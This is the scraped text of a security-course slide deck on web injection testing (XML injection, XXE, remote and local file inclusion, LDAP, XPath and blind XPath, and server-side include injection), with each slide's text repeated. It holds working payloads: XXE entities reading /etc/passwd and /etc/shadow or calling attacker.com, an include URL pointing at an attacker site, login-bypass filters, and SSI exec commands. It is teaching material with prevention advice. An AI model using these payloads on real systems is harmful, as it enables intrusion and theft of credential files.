XML Injection Starting xml xml version1 0 encodingISO8859

  • Slides: 53
Download presentation
XML Injection

XML Injection

Starting xml <? xml version="1. 0" encoding="ISO-8859 -1"? > <users> <user> <uname>joepublic</uname> <pwd>r 3

Starting xml <? xml version="1. 0" encoding="ISO-8859 -1"? > <users> <user> <uname>joepublic</uname> <pwd>r 3 g</pwd> <uid>0<uid/> <mail>joepublic@example 1. com</mail> </user> <uname>janedoe</uname> <pwd>an 0 n</pwd> <uid>500<uid/> <mail>janedoe@example 2. com</mail> </user> </users>

Injection data If the attacker were to inject the following values for a new

Injection data If the attacker were to inject the following values for a new user 'tony': Username: alice Password: iluvbob E-mail: alice@example 3. com</mail></user><uname>Hacker</uname><pwd>l 33 tist</ pwd><uid>0</uid><mail>hacker@exmaple_evil. net</mail>

Injected xml Then the resulting XML document would be: <? xml version="1. 0" encoding="ISO-8859

Injected xml Then the resulting XML document would be: <? xml version="1. 0" encoding="ISO-8859 -1"? > <users> <user> <uname>joepublic</uname> <pwd>r 3 g</pwd> <uid>0</uid> <mail>joepublic@example. com</mail> </user> <uname>janedoe</uname> <pwd>an 0 n</pwd> <uid>500</uid> <mail>janedoe@example 2. hmm</mail> </user> <uname>alice</uname> <pwd>iluvbob</pwd> <uid>500</uid> <mail>alice@exmaple 3. com</mail> </user> <uname>Hacker</uname> <pwd>l 33 tist</pwd> <uid>0</uid> <mail>hacker@exmaple_evil. net</mail> </user> </users>

DISCOVERY

DISCOVERY

Xml Metacharacters • Single quote: ‘ <node attrib='$input. Value'/> input. Value = foo‘ <node

Xml Metacharacters • Single quote: ‘ <node attrib='$input. Value'/> input. Value = foo‘ <node attrib='foo''/> Xml not well formed • Double quote: ‘’ <node attrib="$input. Value"/> $input. Value = foo’’ <node attrib="foo""/> Xml not well formed

 • Angular parentheses: > and < – Username = foo< <user> <username>foo<</username> <password>Un

• Angular parentheses: > and < – Username = foo< <user> <username>foo<</username> <password>Un 6 R 34 kb!e</password> <userid>500</userid> <mail>s 4 tan@hell. com</mail> </user> Xml not well formed

 • Comment tag: <!--/--> Username = foo<!— <user> <username>foo<!--</username> <userid>500</userid> <mail>s 4 tan@hell.

• Comment tag: <!--/--> Username = foo<!— <user> <username>foo<!--</username> <userid>500</userid> <mail>s 4 tan@hell. com</mail> </user> • Ampersand: & <tagnode>< </tagnode> Username = &foo <user> <username>&foo</username> <password>Un 6 R 34 kb!e</password> <userid>500</userid> <mail>s 4 tan@hell. com</mail> </user> <password>Un 6 R 34 kb!e</password>

 • CDATA section delimiters: <![CDATA[ / ]]> <node> <![CDATA[<foo>]]> </node> <username><![CDATA[<$user. Name]]></username> user.

• CDATA section delimiters: <![CDATA[ / ]]> <node> <![CDATA[<foo>]]> </node> <username><![CDATA[<$user. Name]]></username> user. Name = ]]> <username><![CDATA[]]>]]></username> Xml not well formed

 • <html> $HTMLCode </html> • $HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDA TA[>]]> • <html> <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDA TA[>]]>

• <html> $HTMLCode </html> • $HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDA TA[>]]> • <html> <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDA TA[>]]> </html> • <script>alert('XSS')</script>

External Entities • <? xml version="1. 0" encoding="ISO-8859 -1"? > <!DOCTYPE foo [ <!ELEMENT

External Entities • <? xml version="1. 0" encoding="ISO-8859 -1"? > <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file: ///dev/random" >]><foo>&xxe; </foo> • This test could crash the web server (on a UNIX system), if the XML parser attempts to substitute the entity with the contents of the /dev/random file.

 • <? xml version="1. 0" encoding="ISO-8859 -1"? > • <!DOCTYPE foo [ <!ELEMENT

• <? xml version="1. 0" encoding="ISO-8859 -1"? > • <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file: ///etc/passwd" >]><foo>&xxe; </foo> • <? xml version="1. 0" encoding="ISO-8859 -1"? > <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file: ///etc/shadow" >]><foo>&xxe; </foo> • <? xml version="1. 0" encoding="ISO-8859 -1"? > <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file: ///c: /boot. ini" >]><foo>&xxe; </foo> • <? xml version="1. 0" encoding="ISO-8859 -1"? > <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http: //www. attacker. com/text. txt" >]><foo>&xxe; </foo>

Tag injection Username: tony Password: Un 6 R 34 kb!e E-mail: s 4 tan@hell.

Tag injection Username: tony Password: Un 6 R 34 kb!e E-mail: s 4 tan@hell. com</mail><userid>0</userid><mail>s 4 tan@hell. com <? xml version="1. 0" encoding="ISO-8859 -1"? > <users> <username>gandalf</username> <password>!c 3</password> <userid>0</userid> <mail>gandalf@middleearth. com</mail> </user> <username>Stefan 0</username> <password>w 1 s 3 c</password> <userid>500</userid> <mail>Stefan 0@whysec. hmm</mail> </user> <username>tony</username> <password>Un 6 R 34 kb!e</password> <userid>500</userid> <mail>s 4 tan@hell. com</mail> <userid>0</userid> <mail>s 4 tan@hell. com</mail> </user>

 • <!DOCTYPE users [ <!ELEMENT users (user+) > <!ELEMENT user (username, password, userid,

• <!DOCTYPE users [ <!ELEMENT users (user+) > <!ELEMENT user (username, password, userid, mail+) > <!ELEMENT username (#PCDATA) > <!ELEMENT password (#PCDATA) > <!ELEMENT userid (#PCDATA) > <!ELEMENT mail (#PCDATA) > ]>

Username: tony Password: Un 6 R 34 kb!e</password><!– E-mail: --><userid>0</userid><mail>s 4 tan@hell. com <?

Username: tony Password: Un 6 R 34 kb!e</password><!– E-mail: --><userid>0</userid><mail>s 4 tan@hell. com <? xml version="1. 0" encoding="ISO-8859 -1"? > <users> <username>gandalf</username> <password>!c 3</password> <userid>0</userid> <mail>gandalf@middleearth. com</mail> </user> <username>Stefan 0</username> <password>w 1 s 3 c</password> <userid>500</userid> <mail>Stefan 0@whysec. hmm</mail> </user> <username>tony</username> <password>Un 6 R 34 kb!e</password> <!--</password> <userid>500</userid> <mail> --><userid>0</userid><mail>s 4 tan@hell. com</mail> </users>

REMOTE FILE INCLUSION

REMOTE FILE INCLUSION

Intro • The File Inclusion vulnerability allows an attacker to include a file, usually

Intro • The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application • This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to: – Code execution on the web server – Code execution on the client-side such as Java. Script which can lead to other attacks such as cross site scripting (XSS) – Denial of Service (Do. S) – Sensitive Information Disclosure

Essentials • we should look for scripts which take filenames as parameters $incfile =

Essentials • we should look for scripts which take filenames as parameters $incfile = $_REQUEST["file"]; include($incfile. ". php"); http: //vulnerable_host/vuln_page. php? file=http: //attacker_site/malic ous_page Remediation: • to avoid passing user-submitted input to any filesystem/framework API. • maintain a white list of files • use an identifier (for example the index number) to access to the selected file.

LDAP INJECTION

LDAP INJECTION

intro • The Lightweight Directory Access Protocol (LDAP) is used to store information about

intro • The Lightweight Directory Access Protocol (LDAP) is used to store information about users, hosts, and many other objects • A server side attack • Goal: Disclose, modify, insert information in LDAP structure • manipulating input parameters afterwards passed to internal search, add, and modify functions. • A web application could use LDAP in order to let users authenticate or search other users' information inside a corporate structure find("cn=John & user. Password=mypass") find("(&(cn=John)(user. Password=mypass))")

Search Filters 1. searchfilter="(cn="+user+") « 2. (instantiated with) http: //www. example. com/ldapsearch? user=John 3.

Search Filters 1. searchfilter="(cn="+user+") « 2. (instantiated with) http: //www. example. com/ldapsearch? user=John 3. http: //www. example. com/ldapsearch? user=* 4. The filter now is: earchfilter="(cn=*) « • If the application is vulnerable to LDAP injection, it will display some or all of the users' attributes • Test with the parameter '(', '|', '&', '*‘ and check for errors

Login • injecting an always true LDAP query 1. (authentication) searchlogin= "(&(uid="+user+")(user. Password={MD 5}"+base

Login • injecting an always true LDAP query 1. (authentication) searchlogin= "(&(uid="+user+")(user. Password={MD 5}"+base 64(pack("H*", md 5(pass))) +"))"; 2. user=*)(uid=*))(|(uid=* pass=password 3. searchlogin="(&(uid=*))(|(uid=*)(user. Password={MD 5}X 03 MO 1 q n. Zd. Ydgyfeu. ILPm. Q==))"; Correct and always true the tester will gain logged-in status as the first user in LDAP tree.

Prevention • All client-supplied data needs to be cleaned of any characters or strings

Prevention • All client-supplied data needs to be cleaned of any characters or strings that could possibly be used maliciously • The best way to filter data is with a default-deny regular expression that includes only the type of characters that you want • Make your filter as specific as possible. Whenever possible use only numbers. After that, numbers and letters only. If you need to include symbols or punctuation of any kind, make absolutely sure to convert them to HTML substitutes (such as “ &quote; ” or “ > ”) • All data returned to the user should be validated • the LDAP server should not be directly accessible on the Internet, thereby eliminating direct attacks to the server itself.

XPATH INJECTION

XPATH INJECTION

Intro • Comparing with SQL injection: – Since XPath is a standard (yet rich)

Intro • Comparing with SQL injection: – Since XPath is a standard (yet rich) language, it is possible to carry the attack ‘as-is’ for any XPath implementation. – The XPath language can reference practically all parts of the XML document without access control restrictions • XPath 1. 0 is a language used to – refer to parts of an XML document, or – as part of a larger operation such as applying an XSLT transformation to an XML document, – or applying an XQuery [3] to an XML document, – the outcome of the Blind XPath Injection attack is guaranteed to consist of the complete XML document

Example the account number of the user whose name is "jsmith" and whose password

Example the account number of the user whose name is "jsmith" and whose password is "Demo 1234" (or an empty string if no such user exists): string(//user[name/text()='jsmith' and password/text()='Demo 1234']/account/text())

Security Implications • benefits to using an XML database: – – – portability, compatibility,

Security Implications • benefits to using an XML database: – – – portability, compatibility, re-use of the document, neatness of the document and the query results, and having a structure for the document and the query results. • Various products offer native XML databases with built-in XPath query facility • vulnerable to Blind XPath Injection • within few attempts, the attacker can generate a “template” query data that can be used for Blind XPath Injection

Simple XPATH Injection • retrieve the account number of a user whose name and

Simple XPATH Injection • retrieve the account number of a user whose name and password are received from the client.

 • • • ' or 1=1 or ''=‘ it always returns the first

• • • ' or 1=1 or ''=‘ it always returns the first account number in the XML document Although this attack grants the attacker access to the application, it does not necessarily grant him/her with access as the most privileged account No. Such. User'] | P | //user[name/text()='No. Such. User string(//user[name/text()='Foobar'] | p | /user[name/text()='No. Such. User' and password/text()='No. Such. Pass']/account/ text()) Since the first and the third predicates are always false, the query returns the stringvalue [1] of the node -set P.

Blind Xpath Injection • It assumes more or less nothing on the structure of

Blind Xpath Injection • It assumes more or less nothing on the structure of the query except that the user data is injected in a Boolean expression context. • It enables the attacker to extract a single bit of information per a single query injection: e. g. “Login successful”/“Login failed”. • More successful than SQL injection: – XPath 1. 0 is a standard language – XPath 1. 0 allows one to query all items of the “database” – XPath 1. 0 has no access control for the “database”

Blind Xpath Injection: the process 1. 2. 3. to crawl an XPath document, using

Blind Xpath Injection: the process 1. 2. 3. to crawl an XPath document, using only scalar queries a scalar XPath query is replaced by a series of Boolean queries ( «booleanization» of a query) each Boolean query can be resolved by a single “blind” injection • it does not require much prior knowledge of the XPath query format unlike the “traditional” approach • It does not require that data from the XML document is embedded in the response and • that the whole XML document is eventually extracted, regardless of the format of the XPath query used by the application

Xpath Crawling • The recursion starts with path=''. • The element name (including namespace

Xpath Crawling • The recursion starts with path=''. • The element name (including namespace name) is given as name(path), and the namespace value is namespace-uri(path). • The number of attributes of the element is count(path/attribute: : *), the. Nth attribute name is name(path/attribute: : *[position()=N]), the Nth attribute namespace value is namespaceuri( path/attribute: : *[position()=N]) and the Nth attribute value is path/attribute: : *[position()=N]. • There are 4 types of sub-nodes: text, processing-instruction (abbreviated as “PI”), element and comment. • count(path/child: : node()) - the count of all the nodes for the given path. • count(path/child: : text()) - number of text fields children (up to 1. . . ). • count(path/child: : comment()) - number of comment nodes. • count(path/child: : *) - the number of element children. • count(path/child: : processing-instruction()) - the number of PI nodes.

 • • • It is mandatory for this technique not to list a

• • • It is mandatory for this technique not to list a candidate from a type that is exhausted Suppose we have counters i, j , k an l for text sub-nodes, comment sub-nodes, element sub-nodes and PI subnodes, respectively, and i < count(path/child: : text()) and j < count(path/child: : comment()) and k < count(path/child: : *) and l < count(path/child: : processing-instruction()) Now, we look at the following node -set expression: path/child: : node()[position()=((i+j+k+l+1)] | path/child: : text()[position()=(i+1)] Therefore, we can know if the next sub-node is a text sub-node, by asking: count(path/child: : node()[position()=((i+j+k+l+1)] | path/child: : text()[position()=(i+1)])=1

 • the next 3 queries can be used to know if the subnode

• the next 3 queries can be used to know if the subnode is a comment sub-node, an element sub-node, or a PI subnode: – – – count(path/child: : node()[position()=((i+j+k+l+1)] | path/child: : comment ()=(j+1)])=1 count(path/child: : node()[position()=((i+j+k+l+1)] | path/child: : *()[position()=(k+1)])=1 count(path/child: : node()[position()=((i+j+k+l+1)] | path/child: : processing-instruction()[position()=(l+1)])=1 • A text sub-node value is simply: – path/child: : node()[position()=N] • A comment sub-node has the following data: – path/child: : node()[position()=N]

Booleanization of XPath Scalar Queries • Let us assume that Q is a numeric

Booleanization of XPath Scalar Queries • Let us assume that Q is a numeric XPath query (32 -bit signed integers) • extract the sign bit of Q: (Q>=0) • Assuming that Q is positive, extract its 31 bits, find the next bit: Let K be the number formed by the known N high bits, then the N+1 bit is set to 1, then the rest, 30 -N bits, set to 0. • ((Q-K)>=0) • Yields true if the N+1 bit (from the left) is 1, and false if that bit is 0. • We start with N=0 and iteratively extract the next bit until we get to N=30, inclusive 1. Obtain the string lenght: (string-length(S)) 2. Reduce the query into a series of byte queries: (substring(S, N, 1)) 3. K=ceiling(log 2(L)) – this is the number of bits that are required to determine the symbol

1. ensure that the byte is not a double quote: (B='”') 1. 2. If

1. ensure that the byte is not a double quote: (B='”') 1. 2. If false: • The Nth bit is extracted as following (number(translate(B, ”C”, ”CN”))=1) • If this yields true, then the Nth bit is 1, and if it yields false, the Nth bit is 0.

Mounting a Blind Xpath injection "string(//user[name/text()='"+Text. Box 1. Text+"' and password/text()='"+Text. Box 2. Text+"']/account/text())“

Mounting a Blind Xpath injection "string(//user[name/text()='"+Text. Box 1. Text+"' and password/text()='"+Text. Box 2. Text+"']/account/text())“ • injecting a username of No. Such. User' or E or 'foobar'=‘ forces the predicate to yield true if E is a Boolean expression that evaluates to true, and to yield false if E is evaluated as false • We now have a mechanism that extracts a single bit from the system • the algorithm has runtime complexity (number of queries) of O (document size). Query size is bounded (up to a constant overhead) by the size of the document effective alphabet, L (e. g. , for ASCII only documents – 97). • Shortcomings – – Non ascii symbols and special characters Query size Imperfect reconstruction of the XML document Performance

Defending against Xpath Injection • sanitize user input. • Testing application susceptibility to XPath

Defending against Xpath Injection • sanitize user input. • Testing application susceptibility to XPath Injection can be easily performed by injecting a single quote or a double quote, and inspecting the response. • If an error has occurred, then it’s likely that an XPath Injection is possible.

SERVER SIDE INJECTION

SERVER SIDE INJECTION

Intro • it is possible to inject into the application data that will be

Intro • it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution. • They represent an alternative to writing CGI programs or embedding code using server-side scripting languages • Common SSI implementations provide commands to: • Include external files, • set and print web server CGI environment variables, • execute external CGI scripts or system commands.

SSI Commands are specified using the following syntax: <!—#COMMAND PARAMETER="ARGUMENT"—> The <!-- and the

SSI Commands are specified using the following syntax: <!—#COMMAND PARAMETER="ARGUMENT"—> The <!-- and the --> brackets must be included.

SSI Commands

SSI Commands

Other SSI Commands • DATE_GMT - The present date and time in Greenwich Mean

Other SSI Commands • DATE_GMT - The present date and time in Greenwich Mean Time. • DATE_LOCAL - The current local time zone date and time. • DOCUMENT_NAME - The web page file being displayed such as an HTML file. • DOCUMENT_URL - Relative to the web server root path, this is the virtual path to the file. • LAST_MODIFIED - The date and time of the last modification of the current file. • QUERY_STRING_UNESCAPED - The undecoded query string, including a backward slash () followed by some special characters.

Some examples • <!--#echo var="DATE_LOCAL" --> – To print out the current time •

Some examples • <!--#echo var="DATE_LOCAL" --> – To print out the current time • <!--#include virtual="/cgi-bin/counter. pl" --> – to include the output of a CGI script. • <!--#include virtual="/footer. html" --> – to include the content of a file or list files in a directory. • <!--#exec cmd="ls" --> to include the output of a system command. • most web servers don't allow the use of the exec directive to execute system commands.

Black Box Testing 1. 2. • • 1. 2. 3. • • we could

Black Box Testing 1. 2. • • 1. 2. 3. • • we could guess if SSI are supported just by looking at the content of the target web site. If it contains. shtml files, then SSI are probably supported, as this extension is used to identify pages containing these directives the next step consists of determining if an SSI injection attack is actually possible To use Server Side Includes, one or more lines like the following must be included on the HTML page. <!—#exec cgi="/cgi-bin/hits. pl"—> we need to test if we can provide data that is going to be displayed unmodified (for example, in an error message or forum post) <!--#include virtual="/etc/passwd" --> If the application is vulnerable, the directive is injected and it would be interpreted by the server the next time the page is served, thus including the content of the Unix standard password file. The injection can be performed also in HTTP headers, if the web application is going to use that data to build a dynamically generated page: GET / HTTP/1. 0 Referer: <!--#exec cmd="/bin/ps ax"--> User-Agent: <!--#include virtual="/proc/version"-->

Grey Box Testing • we have access to the application source code, we can

Grey Box Testing • we have access to the application source code, we can quite easily find out: – If SSI directives are used. If they are, then the web server is going to have SSI support enabled, making SSI injection at least a potential issue to investigate. – Where user input, cookie content and HTTP headers are handled. The complete list of input vectors is then quickly determined. – How the input is handled, what kind of filtering is performed, what characters the application is not letting through, and how many types of encoding are taken into account.

ssi commands… • Config: • <!--#config errmsg="Sorry, I can't find that file, please send

ssi commands… • Config: • <!--#config errmsg="Sorry, I can't find that file, please send us an e-mail"--> - Changes the error message output by a server error. • <!--#config format="abbrev"--> - When the #fsize command is used, the file size will be expressed in rounded kilobytes. • <!--#config timefmt="A %B %d %Y %r"--> - Will list time in format as the example, "Friday November 12, 1999 10: 23: 20 PM" when the #flastmod command is used or the LAST_MODIFIED environment variable is displayed. • .

…ssi commands… • Echo: • <!--#echo var="DOCUMENT_NAME"--> - Outputs the name of the document

…ssi commands… • Echo: • <!--#echo var="DOCUMENT_NAME"--> - Outputs the name of the document the script was invoked from. • <!--#echo var="LAST_MODIFIED"--> - Outputs the date and time the file was last modified. • Exec: • <!--#exec cgi="/cgi-bin/hits. pl"--> - Runs the server side script. hits. pl. • <!--#exec cmd="ls -al"--> - Performs a directory listing

…ssi commands • Fsize: • • <!--#fsize file="main. shtml"--> - Displays the size of

…ssi commands • Fsize: • • <!--#fsize file="main. shtml"--> - Displays the size of the file "main. html". Flastmod • • <!--#flastmod file="main. shtml"--> - Displays the date the file was last modified. Flastmod may be used as follows: • <H 3>The last time main. shtml was modified was on <!--#flastmod filer="main. shtml"-->. </H 3> • Include • <!--#include file="more. html"--> - Includes the contents of the more. html file in the current file

 LOCAL FILE INCLUSION

LOCAL FILE INCLUSION

Intro • The File Inclusion vulnerability allows an attacker to include a file, usually

Intro • The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application • This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to: – Code execution on the web server – Code execution on the client-side such as Java. Script which can lead to other attacks such as cross site scripting (XSS) – Denial of Service (Do. S) – Sensitive Information Disclosure

Test • http: //vulnerable_host/preview. php? file=example. html • http: //vulnerable_host/preview. php? file=. . /etc/passwd

Test • http: //vulnerable_host/preview. php? file=example. html • http: //vulnerable_host/preview. php? file=. . /etc/passwd (load password file) • root: x: 0: 0: root: /bin/bash bin: x: 1: 1: bin: /sbin/nologin daemon: x: 2: 2: daemon: /sbin/nologin alex: x: 500: alex: /home/alex: /bin/bash margo: x: 501: : /home/margo: /bin/bash. . . • <? php “include/”. include($_GET['filename']. “. php”); ? >

 • https: //www. owasp. org/index. php/Testing_fo r_SSI_Injection_(OTG-INPVAL-009) • https: //www. owasp. org/index. php/Testing_fo

• https: //www. owasp. org/index. php/Testing_fo r_SSI_Injection_(OTG-INPVAL-009) • https: //www. owasp. org/index. php/Testing_fo r_Local_File_Inclusion